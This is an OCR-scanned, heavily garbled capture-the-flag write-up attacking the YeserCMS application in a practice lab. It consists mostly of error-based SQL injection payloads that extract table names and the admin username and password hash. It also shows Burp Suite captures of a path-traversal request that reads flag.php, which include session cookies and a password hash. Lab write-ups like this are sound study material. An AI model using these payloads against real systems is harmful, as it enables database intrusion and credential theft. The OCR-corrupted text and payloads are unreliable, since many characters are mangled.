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post:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx",

(UpdateXML (1, CONCAT(Ox5b,mid ( (SELECT/**/GROUP_CONCAT (concat(database()))
),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>

http://57f208a0b1164a51a627a8c5645433ee0adfbecdfc3bad 159.changame.ichungiu.com//celive/live/header.php

Postdata [ ] Referrer [] User Agent [] Cookies

xajax=Postdata&xajaxargs[0]=<xjxquery><qg>detail=x00xx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/™*
/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)), NULL,NULL , NULL,NULL,NULL,NULL)-- </g></xjxquery>

HENRY):
XPATH syntax error: '[Yeser]'

INSERT INTO ‘yesercms_detail (‘chatid’, detail’, who witter’) VALUES(","xooo0cd,(UpdateX|
).1,32),0x5d),1)), NULL,NULL,NULL,NULL,NULL,NULL)-- (2019-03-09 21:01:56)",'2")
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post:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=x00xx,
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table _name) from information_schema.tables where
table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

XPATH syntax error:|'[yesercms_a_attachment,yesercms '

INSERT INTO “yesercms_detail” (‘chatid’, detail’,'who_witter’) VALUES(","xxcoox’,(UpdateXML(1,CONCAT(0x5b, mid((SELE!
table schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2019-03-09 21:04:57)",'2")

WERHERT, BRETKEMRE, &M%, BXpayloadd 1~321)JEH, EESERES, KIARIFLE
feyesercms_, B RRLBE TR, RIMNERKusere BMR, TRESRIEE, 5 F|720~800
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XPATH syntax error: '[visit,yesercms user,yesercms us'



3. BEHAKS WY
XERAMBRAPLFBAMELFERL T, HEEXAuHE 2 usernamefiipassword
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=x00xx,

(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from
yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>

XPATH syntax error: '[admin|ff512d4240cbbdeafada40467"

FHadmint i, HEHEMEBEERE, S LEBSEKE K7 %RE 2 % B password:
ff512d4240cbbdeafada404677ccbeb1

012d4240cbbdeafada404677ccbeb1
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E/| Burp Suite Professional v1.6 - licensed to Larrylau

Burp Intruder Repeater Window Help

[Target Proxy | Spider TScanner Tlntrudev TRepeatel T Sequencer TDecoder TCnmparev TEnender TOptmns Alerts

12 |2 % |4 = | 5%

Go Cancel < v ==

Request

Raw | Params | Headers | Hex

POST /index.php?case=templategact=fetcheadmin_dir=admingsite=default HTTE/Ll.1
Host: 57f20Balblléd4a5las7aBc5645433eeladfhedfe36ad4159. changame. ichungiu. com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; ®64; rv:65.0) Gecko/20100101
Firefox/65.0

Accept: application/Jjscon, text/Jjavascript,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

rReferer:

http://57f208a0bllé4a5labl7alc5645433eeladfbedfc3fa4159. changane. ichungiu. com/index. php
?case=templatesact=editsadnin_dir=admin&site=default

Content-Type: application/z-www-form-urlencoded

¥-Requested-With: XMLHttpRequest

Content-Length: 14

Connection: keep-alive

Cookie: UM_distinctid=1673b1bB83cf3-052e82eel172475¢-4c312979-144000-1673b1b83d152;
pgv_pvi=3244087296;

Hm_lvt_2dD601bd28de7d49818249cf35d95943=1552050211, 1552062104, 1552092273, 1552092277 ;
Hm_lvt_910498%ceZ42aBe0304%eaceca¥50328=1542884922;
Hm_lvt_1a3Z2f7c660491887db0960e9c314b022=15428845823;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
ci_session=ab65c5655672e17d0b759792245Ea2035b68d9fe; pgv_si==s2429063168;
PHPSESSID=27ddclcad72992102ecdlb4cpTe6085; _ jsluid=aeB89dEbaB9d3292b041352fd9df9999¢c;
login_username=admin; login_paggrd=a94f8d9844c391a79ac9db%aadldlcdd;
passinfo=%E5%85%8D%ES%E4%E 53 589%88+%3Cathref%3D%22http%3A%F%2Fwww. cnseasy . cn%2Fservi
ce_l. html%ZZ+target$3D%3g@ blank%ZC%3E%3Cfont+colors3D%20greentl%3ES2E%EEBSB4%ADSE4%BY%E
O%EG%BE$00%EG%9D%0 30 s 3C%2Ffont $3E%3C%2Fa%3E; style=skinZ
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? < +|[ = Type a search ferm

Target: http://57f208a0b1164a51a627a8¢c5645433ee0adfbedfclIbad159.changame.ichunqiu.com lﬂ L?J

D

0 matches

2R B K% S ki Etflag.php, ../../flag.phpht B Ih& Flflag:

‘ Burp Suite Professional v1.6 - licensed to LarrylLau

Burp Intruder Repeater Window Help

[Target Proxy | Spider TScanner Tlntrudev TRepearel T Sequencer TDecoder TCnmparev TExtender TOptmns Alerts

12 |2 % |4 = | 5%

Go Cancel < > Target: http://57f208a0b1164a51a627a8c5645433eeladfbcdfcIbad159.changame.ichunqiu.com lﬁL?J
Request Response
Raw | Params | Headers | Hex Raw [ Headers | Hex
Host: 57fZ08a0blléd4aSlacz7aBe5645433ee0a4fbe4fe3Ea4159. changame . ichungiu. com A HTTE/1.1 200 OK A
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; =64; rv:85.0) Gecko/20100101 Date: Sat, 09 Mar Z019 05:3Z:33 GMT r
Firefox/65.0 Content-Type: text/html; charset=utf-3
Accept: application/Json, text/Javascript, */* Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7, zh-HK;¢=0.5,en-U8;q=0.3,en;q=0.2 Vary: Accept-Encoding
Accept-Encoding: gzip, deflate Pragma: no-cache
Referer: Cache-Control: no-store, no-cache, must-revalidate,
http://57f208a0bll64a51lab27a8c5645433ee0adfbedfc36a4159. changane. ichungiu. com/index. php post-check=0, pre-check=0
?case=templatesact=editsadmin_dir=adminssite=default Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Type: application/xz-www-form-urlencoded ¥-Via-JsL: aB4elaa, -
X-Requested-With: HMLHttpRequest X-Cache: bypass
Content-Length: 19 Content-Length: 267
Connection: keep-alive
Cookie: UM_distinctid=1673b1b83cf3-052e8eel172475c-4c312979-144000-1673b1bB3d152; {"content™: "<textarea rows=""20"" cols=""78""
pgv_pvi=3244087296; id=n".. %/, 0/ flag.php_content’ " style=\"font-family:
Hm_lvt_2dD&01bdZ8de7d49818249cf35d95943=1552050211, 1552082104, 1552092273, 1552092277 ; Fixedsys, verdana, 00; font-size: 1Zpx;\"
Hm_lvt_910498%ceZ42alBe03049eacecal50328=1542884922; name=""..%/.."/flag. php_content" "><?php'nscho 'flag
Hm_lvt_1a3Z2f7c660491887db0960e9c314b022=1542884923; is
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIo0o0o; here';'n|flag{962d02db-229c-47dd-8cel-72370d8745a7 | ;"
cl_session=ab65c5655672e17d0b759792245Fa2935b68d9Fe; pgv_si=s2429063168; n<\ /text STEITTT
PHPSESSID=Z7ddclcad72992102ecdlb4cib7eE085; _ jsluid=aeB89dEba89d3Z92b041352fd9df9999c;
login_username=admin; login_password=a94f8d9844c391a79%ae9dbh9aadldlcdd;
passinfo=%E5%85%0D%E8%E4%B9%E7%689%884%3Cathref$3D%2http%3A%2F$2Fwww. cnseasy . cn$2Fservl
ce_l.html%ZZ+target$3D%22_blank$Z2%3E%3Cfont+colors3D%22greent2ZS3ESC0%EDYB4SADSE4SEYSE
O%EG%BE%BB%E6%9D%83%20%3C%2Ffont $3E%3CY2Fa%3E; style=skinZ
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Done
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